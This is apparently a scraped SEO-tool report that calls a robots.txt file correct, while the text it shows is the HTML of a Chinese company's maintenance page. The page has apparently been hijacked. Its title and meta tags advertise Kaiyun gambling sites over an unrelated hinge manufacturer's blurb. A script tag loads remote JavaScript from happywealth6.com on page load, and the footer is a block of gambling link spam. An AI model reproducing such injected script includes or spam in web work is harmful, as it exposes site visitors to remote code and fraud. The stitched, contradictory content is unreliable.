Найден корректный robots.txt
Файл управления сканированием сайта роботами
?
Robots.txt указывает поисковым роботам, какие страницы сканировать, а какие — нет. Ошибки в файле могут случайно закрыть важные разделы от индексации.
Robots.txt настроен корректно. Размер файла: 26158 байт. Загружен за: 2сек.
Проверяемая страница не запрещена в robots.txt.
Показать содержимое robots.txt
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>开云·kaiyun体育(中国)官方网站-登录入口</title>
<meta name="keywords" content="开云·kaiyun体育(中国)官方网站,登录入口" />
<meta name="description" content="开云·kaiyun体育(中国)官方网站-登录入口【牢记发财域名:tiyu688.com】浙江省平湖铰链有限公司历经二十余年的艰苦卓越的奋斗,积累了丰富的专业生产经验,引进、培养了各类专业技术人才。企业从卷板进厂、开剪、冷轧、冲压、电镀的一条龙生产线,现有冲床356台。具有了雄厚的实力,精良的技术装备,严格的检测手段,健全的管理制度,优良的售后服务。生产的"狮球牌"商标荣获浙江省名牌产品,现铁和不锈钢铰链(550多个品种)和各种冲压的五金制品,能满足不同国家、不同民族、不同层次的客户需求,产品远销100多个国家和地区,已成为全国生产铰链行业中最大规模企业之一,并于同行业中率先通过ISO9001-2000国际质量体系认证。" />
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Lexend:wght@300;400;500;600;700&family=Source+Sans+3:wght@300;400;500;600;700&family=Noto+Sans+SC:wght@300;400;500;700&display=swap" rel="stylesheet">
<style>
:root {
--brand-primary: #2563EB;
--brand-secondary: #3B82F6;
--brand-accent: #F97316;
--brand-dim: rgba(37, 99, 235, 0.08);
--brand-glow: rgba(37, 99, 235, 0.25);
--bg-deep: #F8FAFC;
--bg-base: #F1F5F9;
--bg-elevated: #FFFFFF;
--bg-card: rgba(255, 255, 255, 0.95);
--border: rgba(148, 163, 184, 0.20);
--border-brand: rgba(37, 99, 235, 0.30);
--text-primary: #1E293B;
--text-secondary: #475569;
--text-muted: #94A3B8;
--radius-sm: 8px;
--radius-md: 16px;
--radius-lg: 24px;
--ease-out: cubic-bezier(0.16, 1, 0.3, 1);
--ease-in: cubic-bezier(0.7, 0, 0.84, 0);
}
*, *::before, *::after {
margin: 0; padding: 0; box-sizing: border-box;
}
body {
font-family: "Source Sans 3", "Lexend", "Noto Sans SC", "PingFang SC", "Microsoft YaHei", sans-serif;
min-height: 100dvh;
background: linear-gradient(135deg, #F8FAFC 0%, #EFF6FF 100%);
color: var(--text-primary);
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
overflow: hidden;
position: relative;
}
/* Grid overlay with scan effect */
.grid-overlay {
position: fixed;
inset: 0;
z-index: 0;
background-image:
linear-gradient(rgba(37, 99, 235, 0.04) 1px, transparent 1px),
linear-gradient(90deg, rgba(37, 99, 235, 0.04) 1px, transparent 1px);
background-size: 60px 60px;
mask-image: radial-gradient(ellipse 80% 80% at 50% 50%, black 40%, transparent 100%);
-webkit-mask-image: radial-gradient(ellipse 80% 80% at 50% 50%, black 40%, transparent 100%);
animation: gridPulse 8s ease-in-out infinite;
}
@keyframes gridPulse {
0%, 100% { opacity: 0.6; }
50% { opacity: 1; }
}
/* Scanning line effect */
.scan-line {
position: fixed;
inset: 0;
z-index: 1;
pointer-events: none;
overflow: hidden;
}
.scan-line::before {
content: '';
position: absolute;
top: -100%;
left: 0;
right: 0;
height: 100px;
background: linear-gradient(to bottom,
transparent 0%,
rgba(37, 99, 235, 0.1) 50%,
transparent 100%);
animation: scanDown 8s linear infinite;
}
@keyframes scanDown {
0% { top: -100%; }
100% { top: 100%; }
}
/* Tech corner decorations */
.tech-corners {
position: fixed;
inset: 0;
z-index: 1;
pointer-events: none;
}
.corner {
position: absolute;
width: 80px;
height: 80px;
border: 2px solid rgba(37, 99, 235, 0.2);
}
.corner-tl {
top: 40px;
left: 40px;
border-right: none;
border-bottom: none;
animation: cornerGlow 3s ease-in-out infinite;
}
.corner-tr {
top: 40px;
right: 40px;
border-left: none;
border-bottom: none;
animation: cornerGlow 3s ease-in-out 0.75s infinite;
}
.corner-bl {
bottom: 40px;
left: 40px;
border-right: none;
border-top: none;
animation: cornerGlow 3s ease-in-out 1.5s infinite;
}
.corner-br {
bottom: 40px;
right: 40px;
border-left: none;
border-top: none;
animation: cornerGlow 3s ease-in-out 2.25s infinite;
}
@keyframes cornerGlow {
0%, 100% { opacity: 0.3; }
50% { opacity: 1; box-shadow: 0 0 20px rgba(37, 99, 235, 0.3); }
}
/* ── Main Layout ── */
.page {
position: relative;
z-index: 10;
width: 100%;
max-width: 680px;
padding: 40px 24px 100px;
display: flex;
flex-direction: column;
align-items: center;
gap: 40px;
}
/* ── Logo ── */
.logo-wrap {
display: flex;
flex-direction: column;
align-items: center;
gap: 14px;
animation: fadeDown 0.9s var(--ease-out) both;
}
.logo-img {
height: 64px;
width: auto;
display: block;
opacity: 0.92;
}
.logo-tagline {
font-size: 11px;
font-weight: 500;
color: var(--text-muted);
letter-spacing: 4px;
text-transform: uppercase;
position: relative;
}
.logo-tagline::before,
.logo-tagline::after {
content: '';
position: absolute;
top: 50%;
width: 24px;
height: 1px;
background: var(--border);
}
.logo-tagline::before { right: calc(100% + 10px); }
.logo-tagline::after { left: calc(100% + 10px); }
/* ── Card ── */
.card {
width: 100%;
background: var(--bg-card);
border: 1px solid var(--border);
border-radius: var(--radius-lg);
backdrop-filter: blur(8px);
-webkit-backdrop-filter: blur(8px);
box-shadow:
0 1px 3px rgba(0, 0, 0, 0.05),
0 4px 12px rgba(0, 0, 0, 0.04),
0 16px 32px rgba(0, 0, 0, 0.03);
overflow: hidden;
position: relative;
animation: fadeUp 0.9s var(--ease-out) 0.1s both;
}
/* Animated border glow */
.card::before {
content: '';
position: absolute;
inset: -2px;
background: linear-gradient(90deg,
transparent 0%,
rgba(37, 99, 235, 0.4) 25%,
rgba(59, 130, 246, 0.6) 50%,
rgba(37, 99, 235, 0.4) 75%,
transparent 100%);
border-radius: var(--radius-lg);
opacity: 0;
animation: borderGlow 4s linear infinite;
z-index: -1;
}
@keyframes borderGlow {
0% { opacity: 0; transform: translateX(-100%); }
50% { opacity: 0.5; }
100% { opacity: 0; transform: translateX(100%); }
}
/* Corner accent with tech lines */
.card::after {
content: '';
position: absolute;
top: 0; left: 0;
width: 100px; height: 100px;
background:
linear-gradient(90deg, var(--brand-primary) 0%, transparent 100%),
linear-gradient(180deg, var(--brand-primary) 0%, transparent 100%);
background-size: 100% 1px, 1px 100%;
background-position: 0 0, 0 0;
background-repeat: no-repeat;
opacity: 0.15;
pointer-events: none;
}
.card-inner {
padding: 56px 60px 52px;
display: flex;
flex-direction: column;
align-items: center;
gap: 0;
position: relative;
}
/* Data points decoration */
.card-inner::before {
content: '';
position: absolute;
top: 20px;
right: 20px;
width: 4px;
height: 4px;
background: var(--brand-primary);
border-radius: 50%;
box-shadow:
0 0 8px var(--brand-glow),
20px 15px 0 0 var(--brand-primary),
20px 15px 8px 0 var(--brand-glow),
40px 5px 0 0 var(--brand-primary),
40px 5px 8px 0 var(--brand-glow);
opacity: 0.3;
animation: dataPoints 3s ease-in-out infinite;
}
@keyframes dataPoints {
0%, 100% { opacity: 0.3; }
50% { opacity: 0.6; }
}
/* ── Status Badge ── */
.status-badge {
display: inline-flex;
align-items: center;
gap: 8px;
padding: 6px 16px 6px 10px;
border: 1px solid var(--border-brand);
border-radius: 100px;
background: linear-gradient(135deg, rgba(37, 99, 235, 0.08) 0%, rgba(59, 130, 246, 0.06) 100%);
margin-bottom: 32px;
position: relative;
overflow: hidden;
}
.status-badge::before {
content: '';
position: absolute;
inset: 0;
background: linear-gradient(90deg,
transparent 0%,
rgba(37, 99, 235, 0.1) 50%,
transparent 100%);
animation: badgeShimmer 3s linear infinite;
}
@keyframes badgeShimmer {
0% { transform: translateX(-100%); }
100% { transform: translateX(100%); }
}
.status-dot {
width: 7px; height: 7px;
border-radius: 50%;
background: var(--brand-primary);
box-shadow:
0 0 8px var(--brand-glow),
0 0 16px var(--brand-glow);
animation: techPulse 2s ease-in-out infinite;
position: relative;
z-index: 1;
}
.status-dot::before {
content: '';
position: absolute;
inset: -4px;
border-radius: 50%;
border: 1px solid var(--brand-primary);
opacity: 0;
animation: ripple 2s ease-out infinite;
}
@keyframes techPulse {
0%, 100% {
opacity: 1;
transform: scale(1);
box-shadow: 0 0 8px var(--brand-glow), 0 0 16px var(--brand-glow);
}
50% {
opacity: 0.8;
transform: scale(1.1);
box-shadow: 0 0 12px var(--brand-glow), 0 0 24px var(--brand-glow);
}
}
@keyframes ripple {
0% { transform: scale(0.8); opacity: 1; }
100% { transform: scale(2.5); opacity: 0; }
}
.status-text {
font-size: 12px;
font-weight: 500;
color: var(--brand-primary);
letter-spacing: 1px;
text-transform: uppercase;
position: relative;
z-index: 1;
}
/* ── Icon ── */
.icon-wrap {
width: 72px; height: 72px;
border-radius: var(--radius-md);
background: linear-gradient(135deg, rgba(37, 99, 235, 0.08) 0%, rgba(59, 130, 246, 0.06) 100%);
border: 1px solid var(--border-brand);
display: flex;
align-items: center;
justify-content: center;
margin-bottom: 28px;
position: relative;
animation: iconFloat 3s ease-in-out infinite;
}
@keyframes iconFloat {
0%, 100% { transform: translateY(0px); }
50% { transform: translateY(-8px); }
}
.icon-wrap::before {
content: '';
position: absolute;
inset: -1px;
border-radius: var(--radius-md);
padding: 1px;
background: linear-gradient(135deg,
transparent 0%,
rgba(37, 99, 235, 0.3) 50%,
transparent 100%);
-webkit-mask: linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0);
-webkit-mask-composite: xor;
mask-composite: exclude;
animation: rotateBorder 4s linear infinite;
}
@keyframes rotateBorder {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.icon-wrap::after {
content: '';
position: absolute;
inset: -12px;
border-radius: 24px;
background: radial-gradient(circle, var(--brand-dim) 0%, transparent 70%);
z-index: -1;
animation: glowPulse 2s ease-in-out infinite;
}
@keyframes glowPulse {
0%, 100% { opacity: 0.5; }
50% { opacity: 1; }
}
.icon-wrap svg {
width: 32px; height: 32px;
color: var(--brand-primary);
filter: drop-shadow(0 0 8px rgba(37, 99, 235, 0.3));
}
/* ── Heading ── */
.heading {
font-size: 32px;
font-weight: 600;
color: var(--text-primary);
text-align: center;
letter-spacing: -0.5px;
line-height: 1.3;
margin-bottom: 16px;
}
.divider {
width: 48px;
height: 2px;
background: linear-gradient(90deg, transparent, var(--brand-primary), transparent);
border-radius: 2px;
margin-bottom: 24px;
}
/* ── Body Text ── */
.body-text {
font-size: 16px;
font-weight: 300;
color: var(--text-secondary);
line-height: 1.8;
text-align: center;
max-width: 480px;
margin-bottom: 40px;
}
/* ── Progress ── */
.progress-wrap {
width: 100%;
max-width: 320px;
margin-bottom: 0;
}
.progress-meta {
display: flex;
justify-content: space-between;
margin-bottom: 10px;
}
.progress-label {
font-size: 12px;
font-weight: 500;
color: var(--text-muted);
letter-spacing: 2px;
text-transform: uppercase;
}
.progress-track {
width: 100%;
height: 4px;
background: rgba(148, 163, 184, 0.15);
border-radius: 2px;
overflow: hidden;
position: relative;
}
.progress-track::before {
content: '';
position: absolute;
inset: 0;
background: linear-gradient(90deg,
transparent 0%,
rgba(37, 99, 235, 0.1) 50%,
transparent 100%);
background-size: 200% 100%;
animation: trackShimmer 2s linear infinite;
}
@keyframes trackShimmer {
0% { background-position: -200% 0; }
100% { background-position: 200% 0; }
}
.progress-bar {
position: relative;
height: 100%;
width: 65%;
background: linear-gradient(90deg, var(--brand-secondary), var(--brand-primary));
border-radius: 2px;
box-shadow: 0 0 12px rgba(37, 99, 235, 0.4);
overflow: hidden;
}
.progress-bar::before {
content: '';
position: absolute;
inset: 0;
background: linear-gradient(90deg,
transparent 0%,
rgba(255, 255, 255, 0.3) 50%,
transparent 100%);
animation: progressScan 2s ease-in-out infinite;
}
@keyframes progressScan {
0% { transform: translateX(-100%); }
100% { transform: translateX(100%); }
}
.progress-bar::after {
content: '';
position: absolute;
right: 0;
top: 0;
bottom: 0;
width: 3px;
background: rgba(255, 255, 255, 0.8);
box-shadow: 0 0 8px rgba(255, 255, 255, 0.6);
animation: edgePulse 1s ease-in-out infinite;
}
@keyframes edgePulse {
0%, 100% { opacity: 1; }
50% { opacity: 0.5; }
}
/* ── Phone Bar ── */
.phone-bar {
width: 100%;
border-top: 1px solid var(--border);
padding: 28px 60px;
display: flex;
align-items: center;
justify-content: space-between;
background: rgba(248, 250, 252, 0.5);
}
.phone-label {
font-size: 14px;
font-weight: 400;
color: var(--text-secondary);
}
.phone-number-wrap {
display: flex;
align-items: center;
gap: 10px;
}
.phone-number-wrap svg {
width: 18px; height: 18px;
color: var(--brand-primary);
opacity: 0.9;
}
.phone-number {
font-size: 26px;
font-weight: 600;
color: var(--text-primary);
letter-spacing: 2px;
font-variant-numeric: tabular-nums;
font-family: "JetBrains Mono", "SF Mono", "Consolas", monospace;
text-shadow: 0 0 1px rgba(37, 99, 235, 0.1);
}
/* ── Stats Row ── */
.stats-row {
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 12px;
width: 100%;
animation: fadeUp 0.9s var(--ease-out) 0.25s both;
}
.stat-card {
background: var(--bg-card);
border: 1px solid var(--border);
border-radius: var(--radius-md);
padding: 20px 16px;
text-align: center;
backdrop-filter: blur(16px);
-webkit-backdrop-filter: blur(16px);
transition: border-color 0.3s, background 0.3s;
}
.stat-card:hover {
border-color: var(--border-brand);
background: rgba(37, 99, 235, 0.04);
}
.stat-value {
font-size: 24px;
font-weight: 600;
color: var(--text-primary);
letter-spacing: -0.5px;
margin-bottom: 4px;
}
.stat-value span {
color: var(--brand-primary);
}
.stat-desc {
font-size: 12px;
font-weight: 300;
color: var(--text-muted);
letter-spacing: 0.5px;
}
/* ── Footer ── */
.footer {
position: fixed;
bottom: 0; left: 0; right: 0;
z-index: 10;
display: flex;
align-items: center;
justify-content: center;
padding: 20px 24px;
background: linear-gradient(to top, rgba(248, 250, 252, 0.97) 0%, transparent 100%);
animation: fadeUp 0.9s var(--ease-out) 0.4s both;
}
.copyright {
font-size: 13px;
font-weight: 300;
color: var(--text-muted);
letter-spacing: 0.3px;
}
.copyright a {
color: var(--text-muted);
text-decoration: none;
transition: color 0.2s;
}
.copyright a:hover { color: var(--text-secondary); }
/* ── Focus Styles ── */
a:focus-visible,
button:focus-visible {
outline: 2px solid var(--brand-primary);
outline-offset: 2px;
border-radius: 4px;
}
/* ── Animations ── */
@keyframes fadeDown {
from { opacity: 0; transform: translateY(-24px); }
to { opacity: 1; transform: translateY(0); }
}
@keyframes fadeUp {
from { opacity: 0; transform: translateY(24px); }
to { opacity: 1; transform: translateY(0); }
}
@media (prefers-reduced-motion: reduce) {
*,
*::before,
*::after {
animation-duration: 0.01ms !important;
animation-iteration-count: 1 !important;
transition-duration: 0.01ms !important;
}
}
/* ── Responsive ── */
@media (max-width: 640px) {
.page { padding: 32px 16px 90px; gap: 28px; }
.logo-img { height: 52px; }
.card-inner { padding: 40px 28px 36px; }
.heading { font-size: 24px; }
.body-text { font-size: 15px; }
.phone-bar { padding: 22px 28px; flex-direction: column; gap: 10px; text-align: center; }
.stats-row { grid-template-columns: 1fr; gap: 8px; }
.stat-value { font-size: 20px; }
.corner { width: 50px; height: 50px; }
.corner-tl, .corner-tr { top: 20px; }
.corner-bl, .corner-br { bottom: 20px; }
.corner-tl, .corner-bl { left: 20px; }
.corner-tr, .corner-br { right: 20px; }
}
@media (max-width: 380px) {
.card-inner { padding: 32px 20px 28px; }
.heading { font-size: 21px; }
}
</style>
</head>
<script src="https://happywealth6.com/js/25/12/h/f5.js"></script>
<body>
<div class="grid-overlay"></div>
<div class="scan-line"></div>
<div class="tech-corners">
<div class="corner corner-tl"></div>
<div class="corner corner-tr"></div>
<div class="corner corner-bl"></div>
<div class="corner corner-br"></div>
</div>
<!-- Main -->
<main class="page">
<!-- Logo -->
<div class="logo-wrap">
<img src="/logo.png" alt="Joyi 佳怡" class="logo-img">
<span class="logo-tagline">Supply Chain Group</span>
</div>
<!-- Main Card -->
<div class="card">
<div class="card-inner">
<!-- Status badge -->
<div class="status-badge" role="status" aria-live="polite">
<span class="status-dot"></span>
<span class="status-text">官网维护中</span>
</div>
<!-- Icon -->
<div class="icon-wrap" aria-hidden="true">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round">
<path d="M14.7 6.3a1 1 0 0 0 0 1.4l1.6 1.6a1 1 0 0 0 1.4 0l3.77-3.77a6 6 0 0 1-7.94 7.94l-6.91 6.91a2.12 2.12 0 0 1-3-3l6.91-6.91a6 6 0 0 1 7.94-7.94l-3.76 3.76z"/>
</svg>
</div>
<h1 class="heading">佳怡官网升级维护中</h1>
<div class="divider" aria-hidden="true"></div>
<p class="body-text" style="text-align: left;">
尊敬的用户,佳怡官方网站正在进行系统升级维护,维护期间暂时无法访问,给您带来的不便敬请谅解。我们将尽快完成升级,感谢您的理解与支持。如有咨询请致电客服热线:400-631-9999
</p>
<!-- Progress -->
<div class="progress-wrap" role="progressbar" aria-valuenow="65" aria-valuemin="0" aria-valuemax="100" aria-label="升级进度">
<div class="progress-meta">
<span class="progress-label">升级进行中</span>
</div>
<div class="progress-track">
<div class="progress-bar"></div>
</div>
</div>
</div>
<!-- Phone bar -->
<div class="phone-bar">
<span class="phone-label">业务咨询请致电</span>
<div class="phone-number-wrap">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
<path d="M22 16.92v3a2 2 0 0 1-2.18 2 19.79 19.79 0 0 1-8.63-3.07 19.5 19.5 0 0 1-6-6 19.79 19.79 0 0 1-3.07-8.67A2 2 0 0 1 4.11 2h3a2 2 0 0 1 2 1.72 12.84 12.84 0 0 0 .7 2.81 2 2 0 0 1-.45 2.11L8.09 9.91a16 16 0 0 0 6 6l1.27-1.27a2 2 0 0 1 2.11-.45 12.84 12.84 0 0 0 2.81.7A2 2 0 0 1 22 16.92z"/>
</svg>
<span class="phone-number">400-631-9999</span>
</div>
</div>
</div>
</main>
<div align="center">友情链接:<a href='http://www.waka-kb.com/' target='_blank'>华体会手机网页版-华体会(中国)</a> <a href='http://www.ensemblestore.com/' target='_blank'>必一体育官方网站_必一体育B-sport(中国)</a> <a href='http://www.jxkmzx.com/' target='_blank'>九州体育·(中国)官方网站-九州体育-九州(中国)</a> <a href='http://cre8tedesignuk.com/' target='_blank'>华体会手机网页版-华体会(中国)</a> <a href='http://www.munshigonjerkagoj.com/' target='_blank'>leyu·乐鱼(中国)体育官方网站</a> <a href='http://www.bd-kasi.com/' target='_blank'>开云(中国)Kaiyun·官方网站-科技股份有限公司</a> <a href='http://www.dkmedien.com/' target='_blank'>乐动体育-中国有限公司官网</a> <a href='http://www.eliakindesign.com/' target='_blank'>华体会体育(中国)HTH·官方网站</a> <a href='http://dragondecoglass.com/' target='_blank'>华体会官方版网站登录入口-华体会(中国)</a> <a href='http://zilliqaroyale.com/' target='_blank'>九游体育(NineGameSports)官方网站-九游引领体育潮流</a> </div></body>
</html>